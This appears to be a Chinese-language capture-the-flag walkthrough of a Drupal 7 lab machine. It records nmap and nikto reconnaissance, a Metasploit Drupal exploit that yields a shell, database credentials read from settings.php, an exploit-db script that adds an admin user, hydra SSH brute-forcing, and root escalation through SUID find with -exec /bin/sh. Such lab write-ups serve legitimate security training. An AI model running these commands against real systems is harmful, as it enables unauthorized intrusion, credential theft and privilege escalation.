nmap -sn 192.168.231.0/24 (进行存活主机发现)
nmap -A -p- 192.168.231.142 (进行针对靶机的详细信息收集查看靶机开放了那些端口)dirb -http://192.168.231.142
nikto -h http://192.168.231.142 (敏感信息发现,cms是drupal7.0版本)
msf 搜索关于drupal的相关漏洞.我可能是歪打正着,上一个lampiao的靶场也是drupal的靶场,我就试了下对应的exp,结果getshell啦!太欧了
这里的exploit写错啦,也可以使用run
利用python –c ‘import pty;pty.spawn(“/bin/bash”)’ 创造一个交互界面,就得到了flag1.txt
根据flag1提示,每个好的cms都需要配置文件,你也一样?
那我就去sites里边看一眼默认的settings.php查看当前的配置,找到了flag2.txt和数据库账号和密码
根据settings.php文件得到数据库的账号和密码,尝试ssh用此账户密码登陆发现不成功.
此时思路断了一下,既然不能用数据账号密码ssh登陆那就直接登陆数据库吧
mysql -udbuser -p
R0ck3t
在数据库的user表里发现了账户的admin账户,密码是加密的不好搞.
思路到这就断了,然后就开始打开了百度
大致思路有两种,第一种利用php脚本生成一个密码,把原有的密码覆盖掉.第二种是利用cms的漏洞添加往账户里添加一个账户.
方法一
php scripts/password-hash.sh xfaicl xfaicl是密码可以自己设置,
登陆到mysql的数据库,use drupaldb;
执行密码覆盖,现在不知道啥原因,此方法行不通.
update users set pass="$S$DxQCTfic1drhqY7jbCf62drw/T204r3is./KmIUKEzlQUpfHx1RQ" where uid=1;
方法二
利用cms的漏洞直接添加一个账户来登陆后台
search drupal 存在一个适用于7.0版本的add admin user的poc
locate php/webapps/34992.py 查看相应poc存在的绝对路径
locate hp/webapps/34992.py
/usr/share/exploitdb/exploits/php/webapps/34992.py
cp /usr/share/exploitdb/exploits/php/webapps/34992.py ~
python 34992.py –t http://192.168.231.142 –u admin1 –p qingchen(账户密码自定义)
添加完账户以后就可以直接登陆到后台啦, flag3 存在于find content 中.
根据前边cat /etc/shaow 发现存在一个flag4的用户
切换到flag4用户得到flag4.txt
此时我就有一个点不是很理解,我看了好多前辈的write up,都是先爆破flag4用户后查看的flag4.txt
我接着也爆破了下
这里hydra提示的意思好像是一般ssh的扫描线程应该是4 我开的64应该默认已经调到4线程了
SUID是一种Linux的权限机制,指某可执行程序在执行时将会使调用者暂时得到被执行程序的权限,如果被执行程序可以执行脚本或指令的话,就可以利用这个脚本或指令进行提权。
find / -user root –perm -4000 –print 2> /dev/null 查看系统中有哪些suid指令
find命令就具有root权限, find指令可以有一个-exec的输入,可以执行一条指令或是一个脚本。若find是root权限,那么这条指令或脚本将以root权限执行
find / -type –f –name qingchen –exec “/bin/sh” \; qingchen是我自己创建的文件,只有find的文件存在才会执行exec后面的命令
提权成功后得到了final-flag.txt